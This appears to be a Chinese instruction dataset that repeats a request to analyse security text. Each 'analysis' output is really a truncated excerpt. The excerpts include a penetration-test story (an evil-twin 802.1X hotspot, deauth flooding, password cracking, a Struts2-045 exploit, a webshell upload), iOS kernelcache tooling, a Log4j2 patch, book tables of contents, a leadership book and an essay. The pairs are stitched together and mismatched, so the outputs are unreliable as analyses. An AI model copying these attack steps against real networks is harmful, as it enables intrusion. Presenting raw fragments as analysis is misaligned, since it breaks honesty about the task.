利用hostapd建立同名802.1X钓鱼热点，同时用aireplay-ng发了些deauth包，这样周围连接过此热点的人都会尝试连接我的热点了。不一会便抓到了数条hash。安全意识好的企业一般会对员工密码有强度要求，密码规则复杂、较长的密码。如果是这样的密码，我们就很难用字典碰撞出密码了。但是这里运气很好，客户这边并没有实施较高的密码强度策略，使用JTR自带的字典就跑出来了。定睛一看，原来用户名与密码相同呀。
利用这组账号连接802.1X网络，成功进入了办公网络。
再仔细观察了下这组数字账号，带着怀疑试了试将数字加一进行登录测试，也成功了。好吧，默认密码跟用户名相同，同时用户名为数字编号可遍历。
**4.Guest网渗透**
通过802.1x热点已经能进入办公网了，算是已经完成任务了。不过现在时间还早，于是我继续对Guest网络进行渗透测试。连上Guest网络，自动弹出Portal认证页面。
Portal认证的网络一般会存在以下问题：
1\. ACL配置不严格，未授权访问内网资源。
2\. Portal存在致命漏洞，导致Portal认证服务器被黑。
3\. Portal登录验证存在漏洞，可以穷举账户密码。知识点:CMCC扫号
此次办公网、管理网被渗透，就是因为Portal本身存在存在致命的漏洞，导致可以通过Guest网段跨入核心网络。
刚接入网络时，发现所有的扫描被重定向至网关机器，说明有ACL，未授权访问内网资源这条路行不通。接着准备穷举账户，再根据已知的账户来穷举密码。很多Portal都存在如下问题：
用户不存在返回页面
用户存在，密码不正确返回页面
但是在这个Portal，无论输入正确或者不正确的用户名都返回”用户或密码错误”(用户名是员工名字全拼，员工工牌挂身上，相信正确的用户名难不倒大家)，也就意味着我们无法穷举用户。此时我的思路是根据用户名规则生成常见的用户名，密码使用弱口令如“123456、1q2w3e、1qaz2wsx”等密码进行穷举。
在观察数据包时，突然发现登陆页面的后缀是.action，立马想到会不会存在Struts2漏洞呢？毕竟不是大型的互联网公司，无专业的安全人员，在内网中系统存在古老的漏洞也不奇怪(比如2014年在某单位做渗透测试，用08067打下了一批机器)。
操起基友给我struts的神器，输入网址，点击”验证”按钮，从古到今的所有struts2漏洞的一个一个在后台进行验证，当我看到输出栏输出”Struts-045漏洞存在”时，我在心理给自己鼓了掌，成了，root到手。
其中在这里发现一点小插曲，我当时要上传一个”jspspy”的shell，存在的问题是会如果上传的后缀是.jsp的文件，就会重定向login.action的页面，不管是静态文件目录还是脚本文件目录都是一样会重定向，由于对Java不熟悉，我给我大哥”Ninty”打了一个电话，大哥说上...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

原文地址：<https://medium.com/@cji_/hunting-for-ios-kernel-symbols-e48a446bb00>
## 0x001 前言
上周，Google Project Zero的Ian
Beer在[Twitter](https://twitter.com/BrandonButch/status/938096284921188352)上发文，他将通过task_for_pid_0或tfp0提供对内核内存的读、写访问，以帮助研究人员更深入研究iOS
11内核安全性。
这消息一出，可能人们更多的关注会放在新系统的越狱上面，但我想借此机会再研究一下移动安全。
Ian Beer昨日已将poc代码放在Project Zero的主页上[Issue 1417: iOS/MacOS kernel double free
due to IOSurfaceRootUserClient not respecting MIG ownership
rules](https://bugs.chromium.org/p/project-zero/issues/detail?id=1417&source=post_page---------------------------)，包含有`CVE-2016-7612`、`CVE-2016-7633`两个漏洞。正当我准备好开始我的工作时，便遇到一个问题。Ian
Beer放出来的poc代码中为几个设备添加了内核符号，但这几个设备我手头上并没有。运气比较好，他提供了有关如何找到符号的详细说明。
本文旨在介绍查找iOS符号的过程，因为我没有找到关于如何执行此操作的任何其他文档，因此我想为其他人（以及将来的我自己）记录此过程，希望对你添加对设备的支持也能有所帮助。
## 0x002 查找内核符号地址
查找符号的第一步是获取目标iOS版本的kernelcache。我是通过访问[ipsw.me](https://ipsw.me/)并下载了我的iPad
Mini 2的11.1.2固件，同样也可以下载任何已经在`symbols.c`中定义了符号的设备。
在解压缩.ipsw文件之后，我下载一份[joker](http://newosxbook.com/tools/joker.html?source=post_page---------------------------)工具。这是一个命令行工具，在阅读该工具的帮助页以后，设定好-j和-m选项并处理kernelcache文件，转储所有可用的符号。输出包含我需要的这些符号的地址：
    KSYMBOL_OSARRAY_GET_META_CLASS
        KSYMBOL_IOUSERCLIENT_GET_META_CLASS
        KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX
        KSYMBOL_CSBLOB_GET_CD_HASH
        KSYMBOL_KALLOC_EXTERNAL
        KSYMBOL_KFREE
        KSYMBOL_OSSERIALIZER_SERIALIZE
        KSYMBOL_KPRINTF
        KSYMBOL_UUID_COPY
在用IDA
Pro加载kernelcache文件之前，我们还需要解密kernelcache文件。详细的方法可以参考这里：[getios10beta1kernelcache.sh](https://gist.github.com/joswr1ght/a02774da552aec0bf1bfee6386e82353?source=post_page---------------------------)
    * open kernelcache in a hex editor and look for 0xFFCFFAEDFE, note the offset (435)
    * wget -q http://nah6.com/%7Eitsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp
    * g++ -o lzssdec lzssdec.cpp
    * ./lzssdec -o 435 < kernelcache >kernelcache.dec # 435 is offset byte count to 0xFFCFFAEDFE header
首先，IDA加载解密好的kernelcache文件，kernelcache带有一些已知内核符号，我们可以通过反汇编的结果来大致了解一下iOS内核。
最先找...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 利用 Java Agent 动态修补 Log4j2 漏洞
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、前言
Apache Log4j2 JNDI 注入漏洞（CVE-2021-44228）持续发酵，目前网络上提供了多种修补方案，如更新至最新版本、通过配置禁用
lookup 特性、删除 `org/apache/logging/log4j/core/lookup/JndiLookup.class`
类等，这些方法都能有效修补该漏洞，受 NCCGROUP 的项目 [log4j-jndi-be-gone](https://github.com/nccgroup/log4j-jndi-be-gone) 启发，笔者将分享一个通过 java agent
修改 jvm 字节码的方式动态 patch Log4j2
漏洞的方案，此方案的特点是可以在不重启服务的情况下，也可完成修复。希望此方案能够给那些因为业务原因无法重启应用的朋友们提供点思路。
## 2、Java Agent 简介
Java Agent 时 java 提供的一种机制，可以理解为一种 hook 机制，可以在 jvm 运行时动态修改 java
字节码，从而改变运行流程，从而实现一些特殊的功能，如性能监控，热更新等。关于如何开发一个 java agent，
网上有很多资料可以可以参考，如：<https://www.jianshu.com/p/3bbfa22ec7f5> ,这里就不进行阐述。
## 3、动态修补 Log4j2 漏洞
根据公开资料，已经知道该漏洞最终出现在Log4j2中 `org.apache.logging.log4j.core.lookup.JndiLookup`
类的 `lookup` 函数，故只要对该函数进行拦截并禁用，就可以完成漏洞修补。
###  3.1 拦截 Log4j2 JNDI lookup 调用
核心拦截代码如下：
    public static void hook(Instrumentation instrumentation){
        AgentBuilder.Transformer transformer = new AgentBuilder.Transformer() {
            public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, TypeDescription typeDescription, ClassLoader classLoader, JavaModule javaModule) {
                return builder
                        .method(ElementMatchers.<MethodDescription>namedIgnoreCase("lookup")) // 拦截 lookup 函数
                        .intercept(MethodDelegation.to(Intercepter.class));
            }
        };
        new AgentBuilder
                .Default()
                .type(ElementMatchers.nameStartsWith("org.apache.logging.log4j.core.lookup.JndiLookup")) // 拦截 JndiLookup 类
                .transform(transformer)
                .installOn(instrumentation);
    }
首先通过 bytebuddy 库的
type(ElementMatchers.nameStartsWith(“org.apache.logging.log4j.core.lookup.JndiLookup”))
拦截 `JndiLookup`类调用，只要调用该类，就会被拦截。拦截到该类之后，通过定义一个 Transformer 对该类的 lookup 函数进行拦截：
    AgentBuilder.Transformer transformer = new AgentBuilder.Transformer() {
            public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, T...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Cover
Title Page
Copyright
About the Author
Foreword
Introduction
Who This Book Is For
What Is In This Book
Happy Hacking!
Part I: The Industry
Chapter 1: Picking a Bug Bounty Program
The State of the Industry
Asset Types
Social Sites and Applications
General Web Applications
Mobile Applications (Android, iOS, and Windows)
APIs
Source Code and Executables
Hardware and IoT
Bug Bounty Platforms
The Pros . . .
. . . and the Cons
Scope, Payouts, and Response Times
Program Scope
Payout Amounts
Response Time
Private Programs
Choosing the Right Program
A Quick Comparison of Popular Programs
Chapter 2: Sustaining Your Success
Writing a Good Report
Step 1: Craft a Descriptive Title
Step 2: Provide a Clear Summary
Step 3: Include a Severity Assessment
Step 4: Give Clear Steps to Reproduce
Step 5: Provide a Proof of Concept
Step 6: Describe the Impact and Attack Scenarios
Step 7: Recommend Possible Mitigations
Step 8: Validate the Report
Additional Tips for Writing Better Reports
Building a Relationship with the Development Team
Understanding Report States
Dealing with Conflict
Building a Partnership
Understanding Why You’re Failing
Why You’re Not Finding Bugs
Why Your Reports Get Dismissed
What to Do When You’re Stuck
Step 1: Take a Break!
Step 2: Build Your Skill Set
Step 3: Gain a Fresh Perspective
Lastly, a Few Words of Experience
Part II: Getting Started
Chapter 3: How the Internet Works
The Client-Server Model
The Domain Name System
Internet Ports
HTTP Requests and Responses
Internet Security Controls
Content Encoding
Session Management and HTTP Cookies
Token-Based Authentication
JSON Web Tokens
The Same-Origin Policy
Learn to Program
Chapter 4: Environmental Setup and Traffic Interception
Choosing an Operating System
Setting Up the Essentials: A Browser and a Proxy
Opening the Embedded Browser
Setting Up Firefox
Setting Up Burp
Using Burp
The Proxy
The Intruder
The Repeater
The Decoder
The Comparer
Saving Burp Requests
A Final Note on . . . Taking Notes
Chapter 5: Web H...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

版权信息
书名：IDA Pro权威指南（第2版）
作者：Chris Eagle
译者：石华耀， 段桂菊
ISBN：978-7-115-27368-0
本书由北京图灵文化发展有限公司发行数字版。版权所有，侵权必究。
您购买的图灵电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。
我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。
如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。
目录
版权声明
献词
对上一版的赞誉
致谢
前言
第一部分　IDA简介
第1章　反汇编简介
1.1　反汇编理论
1.2　何为反汇编
1.3　为何反汇编
1.4　如何反汇编
1.5　小结
第2章　逆向与反汇编工具
2.1　分类工具
2.2　摘要工具
2.3　深度检测工具
2.4　小结
第3章　IDA Pro 背景知识
3.1　Hex-Rays公司的反盗版策略
3.2　获取IDA Pro
3.3　IDA 支持资源
3.4　安装IDA
3.5　IDA 用户界面
3.6　小结
第二部分　IDA基本用法
第4章　IDA入门
4.1　启动IDA
4.2　IDA 数据库文件
4.3　IDA 桌面简介
4.4　初始分析时的桌面行为
4.5　IDA 桌面提示和技巧
4.6　报告bug
4.7　小结
第5章　IDA 数据显示窗口
5.1　IDA 主要的数据显示窗口
5.2　次要的IDA 显示窗口
5.3　其他IDA 显示窗口
5.4　小结
第6章　反汇编导航
6.1　基本IDA 导航
6.2　栈帧
6.3　搜索数据库
6.4　小结
第7章　反汇编操作
7.1　名称与命名
7.2　IDA 中的注释
7.3　基本代码转换
7.4　基本数据转换
7.5　小结
第8章　数据类型与数据结构
8.1　识别数据结构的用法
8.2　创建IDA 结构体
8.3　使用结构体模板
8.4　导入新的结构体
8.5　使用标准结构体
8.6　IDA TIL 文件
8.7　C++ 逆向工程基础
8.8　小结
第9章　交叉引用与绘图功能
9.1　交叉引用
9.2　IDA 绘图
9.3　小结
第10章　IDA的多种面孔
10.1　控制台模式IDA
10.2　使用IDA 的批量模式
10.3　小结
第三部分　IDA高级应用
第11章　定制IDA
11.1　配置文件
11.2　其他IDA 配置选项
11.3　小结
第12章　使用FLIRT 签名来识别库
12.1　快速库识别和鉴定技术
12.2　应用FLIRT 签名
12.3　创建FLIRT 签名文件
12.4　小结
第13章　扩展IDA 的知识
13.1　扩充函数信息
13.2　使用loadint 扩充预定义注释
13.3　小结
第14章　修补二进制文件及其他IDA 限制
14.1　隐藏的补丁程序菜单
14.2　IDA 输出文件与补丁生成
14.3　小结
第四部分　扩展IDA的功能
第15章　编写IDA 脚本
15.1　执行脚本的基础知识
15.2　IDC 语言
15.3　关联IDC 脚本与热键
15.4　有用的IDC 函数
15.5　IDC 脚本示例
15.6　IDAPython
15.7　IDAPython 脚本示例
15.8　小结
第16章　IDA 软件开发工具包
16.1　SDK简介
16.2　IDA 应用编程接口
16.3　小结
第17章　IDA 插件体系结构
17.1　编写插件
17.2　构建插件
17.3　插件安装
17.4　插件配置
17.5　扩展IDC
17.6　插件用户界面选项
17.7　脚本化插件
17.8　小结
第18章　二进制文件与 IDA 加载器模块
18.1　未知文件分析
18.2　手动加载一个Windows PE文件
18.3　IDA 加载器模块
18.4　使用SDK编写IDA 加载器
18.5　其他加载器策略
18.6　编写脚本化加载器
18.7　小结
第19章　IDA 处理器模块
19.1　Python字节码
19.2　Python解释器
19.3　使用SDK编写处理器模块
19.4　构建处理器模块
19.5　定制现有的处理器
19.6　处理器模块体系结构
19.7　编写处理器模块
19.8　小结
第五部分　实际应用
第20章　编译器变体
20.1　跳转表与分支语句
20.2　RTTI实现
20.3　定位main函数
20.4　调试版与发行版二进制文件
20.5　其他调用约定
20.6　小结
第21章　模糊代码分析
21.1　反静态分析技巧
21.2　反动态分析技巧
21.3　使用IDA 对二进制文件进行“静态去模糊”
21.4　基于虚拟机的模糊
21.5　小结
第22章　漏洞分析
22.1　使用IDA 发现新的漏洞
22.2　使用IDA 在事后发现...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

第10章 赛后——分析报告
第10章 赛后——分析报告
译者：@Snowming
在之前的 THP 书籍中，我们有介绍如何编写渗透测试报告的示例，并提供了大量报告模板。这些示例非常适合那些按部就班的做渗透测试的活动，但是不适合红队的活动。正如本书所述，红队的焦点不是识别漏洞本身（虽然这也是工作的一部分），而是测试人、工具、工作流程和员工的技能组合。如果你的公司被授权的渗透测试者或者未授权的坏人攻击并成功入侵，你会给自己的业绩打几分？我一直反对使用差距评估分数、ISO 分数、成熟度模型分数、标准风险分析、热度图和类似类型的报告来展示公司安全项目的真实状况。
就我个人而言，我喜欢看到公司从之前的红队活动中采取措施进行控制，以测试是否真的取得了进展。例如，对于一个使用了近似域名方法的网络钓鱼活动，我们看到公司启用了以下一些功能：
使用 dnstwist 对与其公司类似的域名发出警报；
设置一个外部电子邮件域的可信列表。任何与之不匹配的外部邮件都将在最终用户可见的电子邮件中附加一个标题，说明它是外部（非公司）的、未经批准的电子邮件源。这将帮助你的用户更容易识别网络钓鱼。
来自代理中未分类的域的电子邮件中的任何链接至少应单击一次并警告用户改链接未分类。
禁止 Office 宏附件、强制使用受保护的视图和对文档进行沙盒处理。
这只是一个公司可以实施的可以阻止攻击的一些简单方法。
请记住，红队人员只需要找到一个漏洞就可能破坏整个内网环境。但是蓝队成员只需要识别攻击者的 TTP（战术，技术和过程）之一，就可以阻止这威胁。因此，现在的问题是，如果这些 TTP 中的一个已经引起防御系统发出警报，你的应急响应团队发现警报并处理威胁的速度有多快？所以红队风格的报告应该包括哪些内容呢？由于红队这个概念还很新，目前还没有标准的报告模板，我们可以根据客户的需求进行定制。在我看来，因为我们可能会在一个完整的红队活动中多次尝试进入一个内网环境(且被抓住几次)，所以我们想要把好的方面和不好的方面都在报告中都展示出来。
在活动期间、记笔记方面，许多工具如 Empire 和 Cobalt Strike 在红队活动期间都有很好的活动日志记录，但这些可能还远远不够。我发现对我们团队的活动非常有用的是，建立一个简单的 Web 服务器来记录红队成员执行的每个操作。记录过程中只收集最基本的信息，其中包括特定的事件、服务器、描述、影响、任何警报和屏幕截图。大多数红队/渗透测试人员都不喜欢做笔记，但这类记录提供了一种简单的跟踪活动的方法。
一旦活动结束，我们将收集所有笔记并将其组合在一起，以构建一个能讲述故事的红队报告。红队报告的主要组成部分可能包括：
简介/范围：本节需要明确说明活动的目标。例如，有些客户要求我们访问特定的数据、获得域管理权限、获取 PII（个人身份信息）、获取 IP 或在找到他们的生产环境的服务器的标志（flag）。
指标：在一场交战之后获得攻击报告是对应急响应团队/取证团队非常有帮助的。我们还想确定他们的防范工具或安全传感器可能遗漏的地方，那些使他们无法执行取证或检测恶意活动的纰漏。因此，我们希望给出C2服务器的IP地址、使用的域名、二进制文件的 MD5/SHA1 哈希、电子邮件地址和 IP 信息、被钓鱼的受害者列表以及任何其他可能有助于取证/应急响应团队的信息。
攻击时间轴：这是红队行动中最重要的部分之一，做好笔记是有回报的。时间轴应该充分说明所有的主要活动，任何触发警报的 TTP，以及主要的活动。这将允许蓝队比较他们的时间轴和笔记，看看他们错过了什么。在一次真正的攻击中，你有机会询问那些坏人关于他们做的每坏件事吗？这对防守团队来说是非常有利的。一个时间轴示例可能是这样的:
检测时间（TTD）/解决时间（TTM）：这通常是我们可以使用蓝队报告构建 TTD/TTM 统计数据的地方。我们都想要确定蓝队发现一次多重入侵所需的时间；扫描事件触发调查之前花费的时间（如果调查了的话）；以及蓝队需要多长时间来识别网络钓鱼活动。
第二部分应该讨论有关采取行动之前花费的时间的统计数据。如果有已警告的 C2 通信或已识别的网络钓鱼，那么在防火墙或 DNS 服务器上封锁这些域需要花费的时间是多久？我们经常看到公司可能擅长屏蔽域名，但是当 C2 服务器通过 IP 进行通信时会很快失败（反之亦然）。我们希望确保跟踪此活动并帮我们的客户来识别它。另一个很有用的 TTM 衡量标准是他们最快的情况下要花多久来隔离一个已经确认受损的系统。随着恶意软件变得越来越自动化，我们需要开始利用智能化和自动化的流程将系统或网络的一部分与组织的其他部分隔离开来。
来自应急响应/应急人员的反馈：我最喜欢记录的东西之一是来自蓝队的反馈：他们是如何从防守的角度看待整个活动的。我想知道的是，他们是否觉得自己遵守...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Table of Contents
Cover
Foreword
Introduction
CHAPTER 1: Fundamental Networking and Security Tools
Ping
IPConfig
NSLookup
Tracert
NetStat
PuTTY
CHAPTER 2: Troubleshooting Microsoft Windows
RELI
PSR
PathPing
MTR
Sysinternals
The Legendary God Mode
CHAPTER 3: Nmap—The Network Mapper
Network Mapping
Port Scanning
Services Running
Operating Systems
Zenmap
CHAPTER 4: Vulnerability Management
Managing Vulnerabilities
OpenVAS
Nexpose Community
CHAPTER 5: Monitoring with OSSEC
Log‐Based Intrusion Detection Systems
Agents
Log Analysis
CHAPTER 6: Protecting Wireless Communication
802.11
inSSIDer
Wireless Network Watcher
Hamachi
Tor
CHAPTER 7: Wireshark
Wireshark
OSI Model
Capture
Filters and Colors
Inspection
CHAPTER 8: Access Management
AAA
Least Privilege
Single Sign‐On
JumpCloud
CHAPTER 9: Managing Logs
Windows Event Viewer
Windows PowerShell
BareTail
Syslog
SolarWinds Kiwi
CHAPTER 10: Metasploit
Reconnaissance
Installation
Gaining Access
Metasploitable2
Vulnerable Web Services
Meterpreter
CHAPTER 11: Web Application Security
Web Development
Information Gathering
DNS
Defense in Depth
Burp Suite
CHAPTER 12: Patch and Configuration Management
Patch Management
Configuration Management
Clonezilla Live
CHAPTER 13: Securing OSI Layer 8
Human Nature
Human Attacks
Education
The Social Engineer Toolkit
CHAPTER 14: Kali Linux
Virtualization
Optimizing Kali Linux
Using Kali Linux Tools
CHAPTER 15: CISv7 Controls and Best Practices
CIS Basic Controls—The Top Six
In Conclusion
Index
End User License Agreement
List of Tables
Chapter 1
Table 1.1: ping command syntax
Chapter 3
Table 3.1: Top Ports Defined
Chapter 4
Table 4.1: CVSS v3.0 Ratings
Chapter 6
Table 6.1: IEEE 802.11 standards
Table 6.2: Wireless Network Watcher command‐line options
Chapter 7
Table 7.1: Keyboard shortcuts for Wireshark
Table 7.2: Filter operators
Table 7.3: Expert Info severity levels
Chapter 9
Table 9.1: Ports used by Kiwi Syslog Server
Chapter 14
Table 14.1: Resource requirements for Windows 10, Ubuntu, ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

横向领导力（美）费希尔，（美）夏普　著刘清山　译
版权信息书名：横向领导力作者：（美）费希尔，（美）夏普译者：刘清山书号：ISBN 978-7-5502-6265-2版权：后浪出版咨询（北京）有限责任公司
目录引言 任何人都是潜在的领导者第一部分 真正的领导者，不需要职位01 合作很难？你还没找到方法！02 横向领导：怎样巧妙地影响他人第二部分 做对5步，团队就是你的了03 目标整理术：把团队拧成一股绳04 思考整理术：迅速找到解决问题的方法05 计划修正术：不断修正计划，使其趋于完美06 激励管理术：让团队成员保持专注07 反馈的艺术：不断提升团队工作效率第三部分 做更好的领导者08 五项技能的综合运用09 假如你是领导者，你还能做什么10 敢于站出来的人就是领导者致 谢[最新电子书免费分享社群，群主V信 1107308023  添加备注电子书]出版后记
引言　任何人都是潜在的领导者如果你曾经以缺乏组织的方式与他人共同工作并且遇到了问题，感到非常沮丧，那么本书就是为你而写的。你很可能经历过下面的情形：乔：我一直在考虑这项工作，我非常清楚应该如何去做。萨莉：等一下。首先我想知道为什么我们要做这项工作。乔：很明显，老板对目前的局面很不满。查理：这个理由很充分。不过在开始之前，我想先制订一份时间表。比尔：好的。这项工作的截止日期是哪一天？克里斯蒂娜：在研究这个问题之前，我想问问这项工作有人负责吗？比尔：你的意思是你想成为负责人。克里斯蒂娜：不是的。我只是问是否有人负责，如果没有的话，是不是应该先找一个负责人。乔：我不知道你们的情况怎么样，不过我不可能把所有的时间花在这项工作上。我还有许多别的事情要做。萨莉：我现在还不知道我们要做的是什么。按照上面这种趋势发展下去，你可能取得一定的进展，也可能是虚掷光阴。几乎每个人在下班时都会抱怨，他们浪费了许多时间，却没有取得什么成果。这种局面你很可能经历过不计其数，这并不能说明你的表现不好。事实上，我们每个人都经历过这样的局面。考虑前面的例子。这个团队需要什么呢？通常的回答是“领导”。“他们当中没有负责人，所以不怪他们的工作不到位。”根据我们的经验，有权威的领导可以做许多事情，但默契无间的合作绝不是命令出来的。本书的写作目的就是帮助你与他人合作完成艰巨的工作任务。它所着眼的并不是有权威的领导能做什么，而是你能做什么；不是所有可能实现的目标，而是良好合作的目标——你与他人同舟共济时取得良好结果的目标。要想让你的同事朝着正确的方向前进，你首先必须清楚应该朝哪个方向前进。讲一个比较经典的故事。铁路公司有一辆崭新的柴油机车出了故障，不管工程师怎么做，都无法让机车启动。他们请来了一位专家。专家对情况进行了研究，然后用锤子轻轻敲了机车一下，列车就启动了。专家开出了一千美元的账单。铁路公司要求他对账单作出解释，专家的回复是：→用锤子敲打机车：10美元→知道敲打部位：990美元帮助团队实现良好的合作与此类似。你最后所采取的行动只是整个解决过程的一小部分。不管你是不是领导，我们都建议你把自己想象成一个潜在领导者。在实践中，你会发现，通过使用我们所说的“横向领导”能力，你完全可以让局面朝着更好的方向发展。本书的目标就是让你有能力与你的同事实现高质量的合作，取得高质量的结果。你无须拥有高于同事的权力，只需要使用横向领导方法就可以如鱼得水。横向领导方法包含三个基本步骤。第一步是培养和锻炼独自工作的个人能力。第二步是对你与他人有组织地共同工作这个战略目标获得清晰的理解。第三步是学习一些“参与式”领导方法。通过这些方法，你作为团队的普通一员，也能使用提问、作答、行动的方式促使他人更好地共同工作。以意图改善乐队演奏效果的爵士乐手为例，形象地说明以上三个步骤。首先，这个乐手需要培养自己的独奏技能。接着，他需要理解优秀的爵士乐合奏应当具有的特点——和声、对位以及哪种伴奏对主旋律的衬托效果更好。搞定这一切，他才能采取行动，领导乐队成员改善乐队的演奏效果。我们相信，任何企业、组织、委员会或其他团体中的人读了本书以后，都可以改善团队共同工作的方式，取得理想的结果。
第一部分真正的领导者，不需要职位
01　合作很难？你还没找到方法！不管你是企业主管、团队成员、服务人员、咨询人员，还是政府官员，都无法完全依靠个人力量实现所有的目标。你无时无刻不在依靠下属、同事、上级、供应商、客户的帮助，就连才华横溢的诗人也需要同编辑和出版商打交道。除非你是一个隐士，否则光靠你一个人的力量是做不成什么事的。因此，你必须与他人合作。可是，与人合作是非常困难的。流水线上的机器人可以精准地相互配合，完成工作，人类却做不到这一点。每个人都有自己的思想，而且与机器人不同，难免受情绪左右，有时快乐，有时愤怒，有时自信爆棚，有时忧心忡忡，有时与人为善，有时却又心生嫉妒。...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

目　录
版权信息
作者简介
封面介绍
版权声明
内容提要
译者简介
要感谢的人：
对本书的赞誉
前言
阅前须知
本书读者对象
未涵盖内容
本书结构
本书使用的JavaScript版本
阅前建议
本书的四部分内容
JavaScript命令行
符号说明
快速查询文档
Safari® Books Online
联系我们
致谢
审稿人
第1部分 JavaScript快速上手
第1章 基础JavaScript
1.1 背景
1.1.1 JavaScript与ECMAScript
1.1.2 JavaScript的影响和本质
1.2 语法
1.2.1 语法概述
1.2.2 语句和表达式
1.2.3 分号
1.2.4 注释
1.3 变量和赋值
1.3.1 赋值
1.3.2 复合赋值运算符
1.3.3 标识符与变量名
1.4 值
1.4.1 原始值和对象
1.4.2 原始值
1.4.3 对象
1.4.4 undefined和null
1.4.5 使用typeof和instanceof对值分类
1.5 布尔值
1.5.1 真值与假值
1.5.2 二元逻辑运算符
1.5.3 等式运算符
1.6 数字
1.7 运算符
1.8 字符串
1.8.1 字符串运算符
1.8.2 字符串方法
1.9 语句
1.9.1 条件语句
1.9.2 循环语句
1.10 函数
1.10.1 函数声明的提升特性
1.10.2 特殊的变量arguments
1.10.3 参数太多或太少
1.10.4 可选参数
1.10.5 强制参数长度
1.10.6 将arguments转换为数组
1.11 异常捕获
1.12 严格模式
1.13 变量作用域和闭包
1.13.1 变量是函数作用域的
1.13.2 变量的提升特性
1.13.3 闭包
1.13.4 IIFE模式：引入一个新的作用域
1.14 对象和构造函数
1.14.1 单一对象
1.14.2 任意属性名
1.14.3 提取方法
1.14.4 方法中的函数
1.14.5 构造函数：对象工厂
1.15 数组
1.15.1 数组字面量
1.15.2 数组方法
1.15.3 遍历数组
1.16 正则表达式
1.16.1 test()方法：匹配吗
1.16.2 exec()方法：匹配以及捕获分组
1.16.3 replace()方法：搜索和替换
1.17 Math
1.18 标准库的其他功能
第2部分 背景
第2章 为什么选择JavaScript
2.1 JavaScript可以自由使用吗
2.2 JavaScript优雅吗
2.3 JavaScript有用吗
2.3.1 图形用户界面
2.3.2 其他技术补充完善JavaScript
2.4 JavaScript有什么好用的工具吗
2.5 JavaScript是否足够快
2.6 JavaScript是广泛使用的吗
2.7 JavaScript有前途吗
2.8 结论
第3章 JavaScript的性质
3.1 古怪和非官方特性
3.2 优雅部分
3.3 影响
第4章 JavaScript是如何创造出来的
第5章 标准化：ECMAScript
第6章 JavaScript的历史里程碑
第3部分 深入JavaScript
第7章 JavaScript的语法
7.1 语法概览
7.2 注释
7.3 表达式与语句
7.3.1 表达式
7.3.2 语句
7.4 控制流语句和块
7.5 使用分号的规则
7.5.1 以块结束的语句后面没有分号
7.5.2 空语句
7.5.3 自动分号插入
7.6 合法标识符
7.7 数字字面量的方法调用
7.8 严格模式
7.8.1 启用严格模式
7.8.2 严格模式：建议与注意事项
7.8.3 严格模式中，变量必须被声明
7.8.4 严格模式下的函数
7.8.5 严格模式中，设置或者删除不可改变的属性会抛出异常
7.8.6 严格模式中的不合格标识符不能删除
7.8.7 严格模式中，eval更加简洁
7.8.8 严格模式中禁用的特性
第8章 值
8.1 JavaScript中的类型体系
8.1.1 JavaScript类型
8.1.2 静态与动态
8.1.3 静态类型与动态类型
8.1.4 静态类型检查和动态类型检查
8.1.5 强制转换
8.2 原始值和对象
8.2.1 原始值
8.2.2 对象
8.3 undefined和null
8.3.1 undefined和null的出现场景
8.3.2 检测undefined和null
8.3.3 undefined和null的历史
8.3.4 修改undefined
8.4 原始值的包装对象
8.4.1 包装对象不同于原始值
8.4.2 原始值的包装与去包装
8.4.3 原始值从包装器借调方法
8.5 强制类型转换
8...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

15.设计与研究
　　外国游客常常惊讶地发现，美国人交谈的时候，一开始总是问“你干什么工作”。我一直讨厌回答这个问题，因为一句话说不清楚。不过我最终找到了解决方法，现在如果有人问我干什么工作，我会正规对方的双眼说：“我正在设计一种Lisp语言的新方言。”如果你也有同样困扰，我推荐你也如此回答。对方就立刻转向其他话题了。
　　我确实是在“设计”一种编程语言，而且我不认为自己在做“研究”。我所做的工作与其他人设计一幢大楼、一把椅子、一种新字体并没有本质不同。我的目的不是发现一种“新”东西，而是做出一种很“好”的编程语言。
　　设计与研究的区别看来就在于，前者追求“好”（good），后者追求“新”（new）。优秀的设计不一定很“新”，但必须是“好”的；优秀的研究不一定很“好”，但必须是“新”的。我认为这两条道路最后会发生交叉：只有应用“新”的创意和理论，才会诞生超越前人的最佳设计；只有解决那些值得解决的难题（也就是“好”的难题），才会诞生最佳研究。所以，最终来说，设计和研究都通向同一个地方，只是前进的路线不同罢了。
　　如果把创造一种编程语言看成是设计问题，而不是科研方向，那么有何不同？
　　最大的不同在于你会更多地考虑用户。设计的时候，一开始总是问：我为谁设计？他们需要什么？比如，优秀的建筑师不会先设计，然后强迫用户接受，而是先研究最终用户的需求，然后做出用户需要的设计。
　　注意，我说的是“用户需要的设计”，而不是“用户要求的设计”。我不想让读者产生一种印象，认为设计师就像厨师一样，顾客点什么菜就一模一样做出来。艺术的各个领域有着巨大的差别，但是我觉得任何一个领域的最佳作品都不可能由对用户言听计从的人做出来。
　　有一句话说“顾客永远是对的”，这是指评价优秀设计的标准是看它能够多大程度上满足用户的需求。如果你的小说没人爱看，或者你做的椅子极不舒服，那么就说明你的作品失败了，被一票否决了。就算你的小说（或者椅子）有着最先进的理论指导也无济于事。
　　可是，让用户满意并不等于迎合用户的一切要求。用户不了解所有可能的选择，也经常弄错自己真正想要的东西。做一个好的设计师就像做一个好医生一样。你不能头痛医头，脚痛医脚。病人告诉你症状，你必须找出他生病的真正原因，然后针对病因进行治疗。
　　大多数优秀设计都是这样产生的，它们关注用户，并且以用户为中心。
